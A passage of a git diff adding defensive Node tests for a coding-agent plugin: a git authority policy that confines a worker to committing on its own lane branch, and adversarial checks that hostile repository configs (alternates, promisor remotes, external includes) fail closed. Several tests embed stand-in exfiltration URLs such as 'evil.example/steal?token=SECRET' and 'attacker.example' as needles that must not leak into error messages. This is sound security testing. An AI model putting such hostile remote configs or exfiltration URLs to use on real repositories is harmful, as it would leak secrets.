laneRef = expectedLaneRefV1({ + run_id: RUN_ID, assignment_id: ASSIGNMENT_ID, manifest_digest_hex: MANIFEST_DIGEST_HEX, +}); +const candidateRef = expectedCandidateRefV1({ run_id: RUN_ID }); + +test('GitAuthorityPolicyV1 is a closed frozen v1 policy and not a 4.0.0 major', () => { + assert.equal(GIT_AUTHORITY_SCHEMA_ID, 'codex-co-engineer.git-authority.v1'); + assert.equal(GIT_AUTHORITY_POLICY_SCHEMA_ID, 'codex-co-engineer.git-authority-policy.v1'); + assert.equal(GIT_AUTHORITY_VERSION, 1); + assert.equal(GIT_AUTHORITY_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(parseGitAuthorityPolicyV1(GIT_AUTHORITY_POLICY_V1), GitAuthorityPolicyV1); + assert.ok(Object.isFrozen(GIT_AUTHORITY_POLICY_V1)); + assert.ok(Object.isFrozen(GIT_AUTHORITY_POLICY_V1.default_branch_names)); + assert.deepEqual(GIT_AUTHORITY_POLICY_V1.default_branch_names, ['main', 'master']); + const customized = { + ...GIT_AUTHORITY_POLICY_V1, + default_branch_names: ['main'], + user_protected_ref_prefixes: [...GIT_AUTHORITY_POLICY_V1.user_protected_ref_prefixes], + }; + assert.equal(errorOf(() => parseGitAuthorityPolicyV1(customized)).code, 'invalid_format'); +}); + +test('credential-free identity binds without echoing the repository path', () => { + const bound = bindAuthorityIdentityV1(validIdentity({ head_sha: BASE_SHA })); + assert.equal(bound.repository_bound, true); + assert.equal(bound.base_sha, BASE_SHA); + assert.equal(bound.run_id, RUN_ID); + assert.equal('repository_path' in bound, false); + assertContentFree(bound); + const mutated = validIdentity(); + mutated.repository_path = '/tmp/other'; + assert.equal(bound.assignment_id, ASSIGNMENT_ID); +}); + +test('lane namespace generator and candidate ref stay git-ref-safe', () => { + assert.equal(laneName, `codex/run-${MANIFEST_DIGEST_HEX.slice(0, 16)}/${ASSIGNMENT_ID}`); + assert.equal(isValidRunBranchNameV1(laneName), true); + assert.equal(isValidRunBranchNameV1('codex/run-nothex/lane-alpha'), false); + assert.equal(isValidRunBranchNameV1('main'), false); + assert.equal(isRunOwnedCandidateRefV1(candidateRef, RUN_ID), true); + assert.equal(isRunOwnedCandidateRefV1(candidateRef, 'run-other-99'), false); + assert.equal(laneRef.startsWith('refs/heads/'), true); +}); + +test('own lane refs are writable; default and protected refs are not', () => { + const own = classifyRefV1({ + ref: laneRef, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX, + }); + assert.equal(own.ref_class, 'worker_lane'); + assert.equal(own.protected, false); + assert.equal(own.code, 'authority_ok'); + assert.equal(isProtectedRefV1({ + ref: laneRef, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX, + }), false); + + const main = classifyRefV1({ ref: 'refs/heads/main' }); + assert.equal(main.default_branch_target, true); + assert.equal(main.code, 'default_branch_target_denied'); + assert.equal(isProtectedRefV1({ ref: 'refs/heads/main' }), true); + + const master = classifyRefV1({ ref: 'refs/heads/master' }); + assert.equal(master.code, 'default_branch_target_denied'); + + const develop = classifyRefV1({ ref: 'refs/heads/develop', origin_head_branch: 'develop' }); + assert.equal(develop.default_branch_target, true); + assert.equal(develop.code, 'default_branch_target_denied'); + + const tags = classifyRefV1({ ref: 'refs/tags/v1.0.0' }); + assert.equal(tags.ref_class, 'user_protected'); + assert.equal(tags.code, 'protected_ref_write_denied'); + + const candidate = classifyRefV1({ + ref: candidateRef, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX, + }); + assert.equal(candidate.ref_class, 'platform_run_owned'); + assert.equal(candidate.protected, true); + assertContentFree(own); + assertContentFree(main); +}); + +test('worker commit on the lane is allowed; merge push create-PR rebase and tags are not', () => { + const commit = classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [0, 1] }, + })); + assert.equal(commit.verdict, 'allowed'); + assert.equal(commit.ref_class, 'worker_lane'); + assertContentFree(commit); + + const denials = [ + ['merge', 'merge_authority_denied'], + ['rebase', 'merge_authority_denied'], + ['create_pr', 'merge_authority_denied'], + ['merge_pr', 'merge_authority_denied'], + ['push', 'push_authority_denied'], + ['force_push', 'push_authority_denied'], + ['fetch', 'push_authority_denied'], + ['tag_create', 'protected_ref_write_denied'], + ['release_create', 'protected_ref_write_denied'], + ['credential_helper', 'credential_content_denied'], + ]; + for (const [operation, code] of denials) { + const verdict = classifyGitOperationV1(operationRequest({ operation })); + assert.equal(verdict.verdict, 'denied', operation); + assert.equal(verdict.code, code, operation); + assertContentFree(verdict); + } +}); + +test('Cursor Cloud create-PR posture still cannot create a PR in an R1 run lane', () => { + assertAuthorityPostureV1({ + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'non_authoritative_cloud_only', + provider: 'cursor-cloud', + }); + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'create_pr', + capability: { + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'non_authoritative_cloud_only', + provider: 'cursor-cloud', + }, + })); + assert.equal(verdict.code, 'merge_authority_denied'); +}); + +test('platform composition of the run-owned candidate is allowed and is not a merge', () => { + const verdict = classifyGitOperationV1(operationRequest({ + actor: 'platform', + operation: 'compose_candidate_non_authoritative', + ref: candidateRef, + history: { parent_counts: [1] }, + })); + assert.equal(verdict.verdict, 'allowed'); + assert.equal(verdict.ref_class, 'platform_run_owned'); + const worker = classifyGitOperationV1(operationRequest({ + actor: 'worker', + operation: 'compose_candidate_non_authoritative', + ref: candidateRef, + })); + assert.equal(worker.code, 'authority_posture_mismatch'); +}); + +test('linear history is allowed and merge histories are denied', () => { + const linear = classifyLaneHistoryV1({ parent_counts: [0, 1, 1] }); + assert.equal(linear.verdict, 'allowed'); + const merge = classifyLaneHistoryV1({ parent_counts: [0, 1, 2] }); + assert.equal(merge.code, 'merge_history_denied'); + const octopus = classifyLaneHistoryV1({ parent_counts: [3] }); + assert.equal(octopus.code, 'merge_history_denied'); + const rootMerge = classifyLaneHistoryV1({ parent_counts: [2] }); + assert.equal(rootMerge.code, 'merge_history_denied'); + const throughOp = classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [0, 2] }, + })); + assert.equal(throughOp.code, 'merge_history_denied'); + assertContentFree(merge); +}); + +test('disposable linear merge and default-target repositories feed the policy', async () => { + await withDisposableRepo(async (root) => { + const linear = await writeLinearHistory(root); + assert.deepEqual(linear, [0, 1]); + assert.equal(classifyLaneHistoryV1({ parent_counts: linear }).verdict, 'allowed'); + }); + await withDisposableRepo(async (root) => { + const merge = await writeMergeHistory(root); + assert.ok(merge.some((count) => count >= 2), `expected a merge parent count, got ${merge}`); + assert.equal(classifyLaneHistoryV1({ parent_counts: merge }).code, 'merge_history_denied'); + }); + await withDisposableRepo(async (root) => { + const octopus = await writeOctopusHistory(root); + assert.ok(octopus.some((count) => count >= 3), `expected octopus, got ${octopus}`); + assert.equal(classifyLaneHistoryV1({ parent_counts: octopus }).code, 'merge_history_denied'); + }); + await withDisposableRepo(async (root) => { + const { defaultBranch, counts } = await writeDefaultBranchTarget(root); + assert.equal(defaultBranch, 'main'); + assert.equal(parentCounts(root).length, counts.length); + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'create_lane_branch', + ref: `refs/heads/${defaultBranch}`, + default_branch: defaultBranch, + })); + assert.equal(verdict.code, 'default_branch_target_denied'); + assert.equal(verdict.default_branch_target, true); + assertContentFree(verdict); + }); +}); + +test('denied verdicts project content-free P13-compatible facts and discrepancies', () => { + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [2] }, + })); + const projection = projectAuthorityEvidenceV1(verdict); + const fact = parseVerifiedFactV1(projection.facts[0]); + const discrepancy = parseEvidenceDiscrepancyV1(projection.discrepancies[0]); + assert.equal(fact.fact_kind, 'git_identity'); + assert.equal(fact.status, 'failed'); + assert.equal(fact.method, 'merge_commit_absence'); + assert.equal(fact.authority, 'platform_git'); + assert.equal(discrepancy.discrepancy_kind, 'security'); + assert.equal(discrepancy.code, 'security_boundary'); + assertContentFree(projection); + const allowed = projectAuthorityEvidenceV1(classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [1] }, + }))); + parseVerifiedFactV1(allowed.facts[0]); + assert.equal(allowed.discrepancies.length, 0); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs new file mode 100644 index 0000000..a374930 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-identity-adversarial.test.mjs @@ -0,0 +1,759 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { appendFileSync, writeFileSync } from 'node:fs'; +import { mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + MAX_SEQUENCE, + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + MAX_GIT_TOTAL_TIME_MS, + parseGitIdentityRequestV1, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + countingProxy, + createAbsoluteExternalIncludeRepo, + createActiveIncludeIfRepo, + createAlternatesRepo, + createAnnotatedTagBranchRepo, + createBenignIncludeRepo, + createDetachedHeadRepo, + createExternalGitdirRepo, + createGraftsRepo, + createHttpAlternatesRepo, + createLinearRepo, + createLinkedWorktreeBenignConfigRepo, + createLinkedWorktreePromisorConfigRepo, + createNonCommitHeadRepo, + createPartialCloneConfigRepo, + createPromisorPackRepo, + createRelativeExternalIncludeRepo, + createReplaceRefRepo, + createRewrittenHistoryRepo, + createStaleBaseRepo, + createSymbolicRefDriftRepo, + createSymlinkExternalIncludeRepo, + createSymlinkGitdirRepo, + createUnbornRepo, + createUnreachableHeadRepo, + createWrongMergeBaseRepo, + trapTotal, + validRequest, +} from './fixtures/r1-git-identity-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +function discrepancyIds(result) { + return result.discrepancies.map((entry) => entry.discrepancy_id); +} + +function assertContentFree(error, ...needles) { + const blob = `${error.code}\n${error.path}\n${error.message}`; + for (const needle of needles) { + assert.equal(blob.includes(needle), false, needle); + } +} + +function isEffectiveConfigList(args) { + return Array.isArray(args) + && args.includes('config') + && args.includes('--includes') + && args.includes('--show-origin') + && args.includes('--show-scope') + && args.includes('-z'); +} + +function assertClosedProtocolEnv(env) { + assert.equal(env, GIT_CLOSED_ENV); + assert.equal(env.GIT_ALLOW_PROTOCOL, ''); + assert.equal(env.GIT_PROTOCOL_FROM_USER, '0'); + assert.equal(env.GIT_CONFIG_NOSYSTEM, '1'); + assert.equal(env.GIT_CONFIG_GLOBAL, '/dev/null'); + assert.equal(env.GIT_CONFIG_SYSTEM, '/dev/null'); + assert.equal(Object.hasOwn(env, 'GIT_CONFIG'), false); + assert.equal(Object.hasOwn(env, 'GIT_CONFIG_COUNT'), false); + assert.equal(Object.hasOwn(env, 'GIT_CONFIG_PARAMETERS'), false); +} + +const HOSTILE_CONFIG_NEEDLES = [ + 'attacker.example', 'SUPERSECRET', 'steal.git', 'blob:none', + 'WTSECRET', 'worktree.git', 'included.cfg', 'hostile.cfg', +]; + +test('live proxies are denied with zero traps on the request surface', async () => { + const { proxy, counts } = countingProxy(validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + })); + assert.equal((await errorOf(() => parseGitIdentityRequestV1(proxy))).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + assert.equal((await errorOf(() => verifyGitIdentityV1(proxy))).code, 'proxy_denied'); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', async () => { + const { proxy, revoke } = Proxy.revocable(validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = await errorOf(() => parseGitIdentityRequestV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); +}); + +test('accessor properties are rejected and their getters never run', async () => { + let reads = 0; + const input = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + Object.defineProperty(input, 'expected_base_ref', { + enumerable: true, + get() { + reads += 1; + return 'refs/heads/main'; + }, + }); + const error = await errorOf(() => parseGitIdentityRequestV1(input)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('detached, unborn, non-commit, and symbolic-ref drift fail closed', async (t) => { + const detached = await createDetachedHeadRepo(); + t.after(() => detached.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: detached.path, base_sha: detached.baseSha, head_sha: detached.headSha, + })))).code, 'detached_ref_denied'); + + const unborn = await createUnbornRepo(); + t.after(() => unborn.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: unborn.path, base_sha: unborn.baseSha, head_sha: unborn.headSha, + })))).code, 'unborn_ref_denied'); + + const treeHead = await createNonCommitHeadRepo(); + t.after(() => treeHead.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: treeHead.path, base_sha: treeHead.baseSha, head_sha: treeHead.extra.treeSha, + })))).code, 'non_commit_object'); + + const drift = await createSymbolicRefDriftRepo(); + t.after(() => drift.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: drift.path, + base_sha: drift.baseSha, + head_sha: drift.headSha, + expected_base_ref: 'refs/heads/alias', + })))).code, 'symbolic_ref_drift'); +}); + +test('replace refs and grafts fail closed as poisoned observations', async (t) => { + const replaced = await createReplaceRefRepo(); + t.after(() => replaced.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: replaced.path, base_sha: replaced.baseSha, head_sha: replaced.headSha, + })))).code, 'replace_refs_denied'); + + const grafted = await createGraftsRepo(); + t.after(() => grafted.cleanup()); + assert.equal((await errorOf(() => verifyGitIdentityV1(validRequest({ + path: grafted.path, base_sha: grafted.baseSha, head_sha: grafted.headSha, + })))).code, 'grafts_denied'); +}); + +test('stale base history is parent-failing and records an integrity discrepancy', async (t) => { + const repo = await createStaleBaseRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('stale-base'), true); + assert.equal(result.observation.base_sha, repo.extra.currentBaseSha); + assert.notEqual(result.observation.base_sha, repo.baseSha); + assert.equal(result.facts[0].status, 'failed'); + assert.equal(result.facts[0].payload.base_sha, repo.baseSha); + parseVerifiedFactV1(result.facts[0]); + parseEvidenceDiscrepancyV1(result.discrepancies[0]); +}); + +test('rewritten history is parent-failing and does not verify ancestry', async (t) => { + const repo = await createRewrittenHistoryRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + })); + assert.equal(result.status, 'failed'); + const ids = discrepancyIds(result); + assert.equal(ids.includes('rewritten-history'), true); + assert.equal(result.observation.ancestor, false); + assert.equal(result.facts[0].status, 'failed'); + parseVerifiedFactV1(result.facts[0]); + parseVerifiedFactV1(result.facts[1]); +}); + +test('unsafe external gitdir, symlink gitdir, alternates, and promisor metadata fail closed', async (t) => { + const external = await createExternalGitdirRepo(); + t.after(() => external.cleanup()); + const externalError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: external.path, base_sha: external.baseSha, head_sha: external.headSha, + }))); + assert.equal(externalError.code, 'repository_invalid'); + assertContentFree(externalError, external.path, external.extra.externalGit, 'hostile.git'); + + const linkedSym = await createSymlinkGitdirRepo(); + t.after(() => linkedSym.cleanup()); + const symlinkError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: linkedSym.path, base_sha: linkedSym.baseSha, head_sha: linkedSym.headSha, + }))); + assert.equal(symlinkError.code, 'repository_invalid'); + assertContentFree(symlinkError, linkedSym.path, linkedSym.extra.externalGit); + + const alternates = await createAlternatesRepo(); + t.after(() => alternates.cleanup()); + const alternateOwn = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: alternates.path, base_sha: alternates.baseSha, head_sha: alternates.headSha, + }))); + assert.equal(alternateOwn.code, 'config_influence_denied'); + assertContentFree(alternateOwn, alternates.path, alternates.extra.donorPath); + const alternateForeign = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: alternates.path, base_sha: alternates.baseSha, head_sha: alternates.extra.donorHeadSha, + }))); + assert.equal(alternateForeign.code, 'config_influence_denied'); + + const httpAlternates = await createHttpAlternatesRepo(); + t.after(() => httpAlternates.cleanup()); + const httpError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: httpAlternates.path, base_sha: httpAlternates.baseSha, head_sha: httpAlternates.headSha, + }))); + assert.equal(httpError.code, 'config_influence_denied'); + assertContentFree(httpError, 'attacker.example', 'SUPERSECRET', 'http-alternates'); + + const promisor = await createPromisorPackRepo(); + t.after(() => promisor.cleanup()); + const promisorError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: promisor.path, base_sha: promisor.baseSha, head_sha: promisor.headSha, + }))); + assert.equal(promisorError.code, 'config_influence_denied'); + assertContentFree(promisorError, 'pack-deadbeef', promisor.path); + + const partial = await createPartialCloneConfigRepo(); + t.after(() => partial.cleanup()); + const partialError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: partial.path, base_sha: partial.baseSha, head_sha: partial.headSha, + }))); + assert.equal(partialError.code, 'config_influence_denied'); + assertContentFree(partialError, 'attacker.example', 'steal.git', 'blob:none'); +}); + +test('alternate object env is not inherited into a closed git observation', async (t) => { + const donor = await createAlternatesRepo(); + t.after(() => donor.cleanup()); + const previous = process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES; + process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES = `${donor.extra.donorPath}/.git/objects`; + try { + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: donor.path, base_sha: donor.baseSha, head_sha: donor.headSha, + }), { + spawn(command, args, options) { + assert.equal(options.env, GIT_CLOSED_ENV); + assert.equal(Object.hasOwn(options.env, 'GIT_ALTERNATE_OBJECT_DIRECTORIES'), false); + assert.equal(Object.hasOwn(options.env, 'GIT_OBJECT_DIRECTORY'), false); + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'config_influence_denied'); + } finally { + if (previous === undefined) delete process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES; + else process.env.GIT_ALTERNATE_OBJECT_DIRECTORIES = previous; + } +}); + +test('a forged branch ref pointing at an annotated tag is not accepted after peeling', async (t) => { + const repo = await createAnnotatedTagBranchRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'non_commit_object'); + assertContentFree(error, repo.extra.tagSha, 'forged-base', repo.path); +}); + +test('injected child stream accessors and proxies fail closed without native errors', async (t) => { + const repo = await createStaleBaseRepo(); + t.after(() => repo.cleanup()); + const request = validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }); + + function afterIdentity(hostileChild) { + let calls = 0; + return (command, args, options) => { + calls += 1; + if (calls === 1) return nodeSpawn(command, args, options); + return hostileChild; + }; + } + + const accessorError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity({ + stdout: { + get on() { throw new Error('https://evil.example/steal?token=SECRET'); }, + }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }), + })); + assert.equal(accessorError.code, 'git_execution_failed'); + assertContentFree(accessorError, 'SECRET', 'evil.example', 'steal'); + + const stderrError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity({ + stdout: { on() { return this; } }, + stderr: { + get on() { throw new Error('https://evil.example/stderr?token=SECRET'); }, + }, + kill() {}, + once() {}, + }), + })); + assert.equal(stderrError.code, 'git_execution_failed'); + assertContentFree(stderrError, 'SECRET', 'evil.example'); + + const { proxy, revoke } = Proxy.revocable({ + stdout: { on() { return this; } }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }, { + get() { throw new Error('revoked child get'); }, + ownKeys() { throw new Error('revoked child ownKeys'); }, + }); + revoke(); + const revokedError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity(proxy), + })); + assert.equal(revokedError.code, 'proxy_denied'); + assert.equal(utilTypes.isProxy(proxy), true); + + const liveProxyError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity(new Proxy({ + stdout: { on() { return this; } }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }, { + get() { throw new Error('https://evil.example/proxy?token=SECRET'); }, + })), + })); + assert.equal(liveProxyError.code, 'proxy_denied'); + assertContentFree(liveProxyError, 'SECRET', 'evil.example'); + + const chunkError = await errorOf(() => verifyGitIdentityV1(request, { + spawn: afterIdentity((() => { + const listeners = { data: [] }; + const stream = { + on(event, handler) { + if (event === 'data') listeners.data.push(handler); + return this; + }, + }; + return { + stdout: stream, + stderr: { on() { return this; } }, + kill() {}, + once(event, handler) { + if (event === 'close') { + queueMicrotask(() => { + for (const onData of listeners.data) { + onData({ + get length() { throw new Error('https://evil.example/chunk?token=SECRET'); }, + }); + handler(0, null); + } + }); + } + return this; + }, + }; + })()), + })); + assert.equal(chunkError.code, 'git_execution_failed'); + assertContentFree(chunkError, 'SECRET', 'evil.example', 'chunk'); +}); + +test('unknown, symbol, and accessor keys stay content-free typed failures', async () => { + const base = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + const secretKey = 'https://attacker.example/callback?token=SUPERSECRET'; + const unknown = { ...base, [secretKey]: 'leak-me' }; + const unknownError = await errorOf(() => parseGitIdentityRequestV1(unknown)); + assert.equal(unknownError.code, 'unknown_key'); + assert.equal(unknownError.path, 'git_identity'); + assertContentFree(unknownError, 'SUPERSECRET', 'attacker.example', 'leak-me', secretKey); + + const nested = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + nested.repository = { ...nested.repository, [secretKey]: 'nested-leak' }; + const nestedError = await errorOf(() => parseGitIdentityRequestV1(nested)); + assert.equal(nestedError.code, 'unknown_key'); + assertContentFree(nestedError, 'SUPERSECRET', 'attacker.example', 'nested-leak'); + + const symbolic = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + Object.defineProperty(symbolic, Symbol('https://attacker.example/symbol-secret'), { + enumerable: true, + value: 'symbol-leak', + }); + const symbolError = await errorOf(() => parseGitIdentityRequestV1(symbolic)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError, 'attacker.example', 'symbol-secret', 'symbol-leak'); + + let reads = 0; + const accessorUnknown = validRequest({ + path: '/tmp/cce-r1-git-identity-repo', + base_sha: 'a'.repeat(40), + head_sha: 'b'.repeat(40), + }); + Object.defineProperty(accessorUnknown, secretKey, { + enumerable: true, + get() { + reads += 1; + return 'https://attacker.example/accessor'; + }, + }); + const accessorError = await errorOf(() => parseGitIdentityRequestV1(accessorUnknown)); + assert.equal(accessorError.code, 'unknown_key'); + assert.equal(reads, 0); + assertContentFree(accessorError, 'SUPERSECRET', 'attacker.example'); +}); + +test('end-to-end wall-clock bound rejects delayed verification after the deadline', async (t) => { + const repo = await createStaleBaseRepo(); + t.after(() => repo.cleanup()); + const request = validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }); + const realNow = Date.now; + let calls = 0; + Date.now = () => { + calls += 1; + return realNow(); + }; + t.after(() => { Date.now = realNow; }); + const counted = await verifyGitIdentityV1(request); + assert.equal(counted.status, 'failed'); + const totalCalls = calls; + assert.ok(totalCalls > 0); + calls = 0; + const origin = realNow(); + Date.now = () => { + calls += 1; + if (calls >= totalCalls) return origin + MAX_GIT_TOTAL_TIME_MS; + return origin; + }; + const error = await errorOf(() => verifyGitIdentityV1(request)); + assert.equal(error.code, 'bounds_exceeded'); + assertContentFree(error, repo.path); +}); + +test('sequence 65534 rewritten history saturates discrepancies without escaping', async (t) => { + const repo = await createRewrittenHistoryRepo(); + t.after(() => repo.cleanup()); + const result = await verifyGitIdentityV1(validRequest({ + path: repo.path, + base_sha: repo.baseSha, + head_sha: repo.headSha, + sequence: MAX_SEQUENCE - 1, + })); + assert.equal(result.status, 'failed'); + const ids = discrepancyIds(result); + assert.equal(ids.includes('rewritten-history'), true); + assert.ok(result.discrepancies.length >= 1); + assert.ok(result.discrepancies.length <= 2); + for (const discrepancy of result.discrepancies) { + assert.ok(discrepancy.sequence <= MAX_SEQUENCE); + parseEvidenceDiscrepancyV1(discrepancy); + } + assert.equal(result.facts[0].status, 'failed'); + assert.equal(result.facts[0].sequence, MAX_SEQUENCE - 1); + assert.equal(result.facts[1].sequence, MAX_SEQUENCE); + parseVerifiedFactV1(result.facts[0]); + parseVerifiedFactV1(result.facts[1]); +}); + +test('unreachable heads and wrong merge bases fail closed with P13 discrepancies', async (t) => { + const unreachable = await createUnreachableHeadRepo(); + t.after(() => unreachable.cleanup()); + const unreachableResult = await verifyGitIdentityV1(validRequest({ + path: unreachable.path, base_sha: unreachable.baseSha, head_sha: unreachable.headSha, + })); + assert.equal(unreachableResult.status, 'failed'); + assert.equal(discrepancyIds(unreachableResult).includes('unreachable-head'), true); + assert.equal(unreachableResult.observation.ancestor, false); + + const diverged = await createWrongMergeBaseRepo(); + t.after(() => diverged.cleanup()); + const divergedResult = await verifyGitIdentityV1(validRequest({ + path: diverged.path, base_sha: diverged.baseSha, head_sha: diverged.headSha, + })); + assert.equal(divergedResult.status, 'failed'); + const ids = discrepancyIds(divergedResult); + assert.equal(ids.includes('wrong-merge-base'), true); + assert.equal(ids.includes('unreachable-head'), true); + assert.notEqual(divergedResult.observation.merge_base_sha, diverged.baseSha); + parseEvidenceDiscrepancyV1(divergedResult.discrepancies[0]); +}); + +test('absolute and relative external includes with prohibited keys fail closed', async (t) => { + const absolute = await createAbsoluteExternalIncludeRepo(); + t.after(() => absolute.cleanup()); + const absoluteError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: absolute.path, base_sha: absolute.baseSha, head_sha: absolute.headSha, + }))); + assert.equal(absoluteError.code, 'config_influence_denied'); + assertContentFree(absoluteError, ...HOSTILE_CONFIG_NEEDLES, absolute.path, absolute.extra.includeFile); + + const relative = await createRelativeExternalIncludeRepo(); + t.after(() => relative.cleanup()); + const relativeError = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: relative.path, base_sha: relative.baseSha, head_sha: relative.headSha, + }))); + assert.equal(relativeError.code, 'config_influence_denied'); + assertContentFree( + relativeError, ...HOSTILE_CONFIG_NEEDLES, relative.path, relative.extra.includeFile, relative.extra.relative, + ); +}); + +test('an active includeIf condition with prohibited keys fails closed', async (t) => { + const repo = await createActiveIncludeIfRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'config_influence_denied'); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, repo.path, repo.extra.includeFile, 'onbranch:main'); +}); + +test('linked-worktree config.worktree provenance fails closed', async (t) => { + const repo = await createLinkedWorktreePromisorConfigRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'config_influence_denied'); + assertContentFree( + error, ...HOSTILE_CONFIG_NEEDLES, repo.path, repo.extra.mainPath, 'config.worktree', 'origin', + ); +}); + +test('a symlinked external include origin with prohibited keys fails closed', async (t) => { + const repo = await createSymlinkExternalIncludeRepo(); + t.after(() => repo.cleanup()); + const error = await errorOf(() => verifyGitIdentityV1(validRequest({ + path: repo.path, base_sha: repo.baseSha, head_sha: repo.headSha, + }))); + assert.equal(error.code, 'config_influence_denied'); + assertContentFree(error, ...HOSTILE_CONFIG_NEEDLES, repo.path, repo.extra.includeFile, repo.extra.linkPath); +}); + +test('benign includes and safe linked worktrees still verify', async (t) => { + const included = await createBenignIncludeRepo(); + t.after(() => included.cleanup()); + let configLists = 0; + let commands = 0; + const includedResult = await verifyGitIdentityV1(validRequest({ + path: included.path, base_sha: included.baseSha, head_sha: included.headSha, + }), { + spawn(command, args, options) { + commands += 1; + assertClosedProtocolEnv(options.env); + if (isEffectiveConfigList(args)) configLists += 1; + return nodeSpawn(command, args, options); + }, + }); + assert.equal(includedResult.status, 'verified'); + assert.equal(configLists, 2); + assert.ok(commands <= 20); + assert.equal(includedResult.discrepancies.length, 0); + + const linked = await 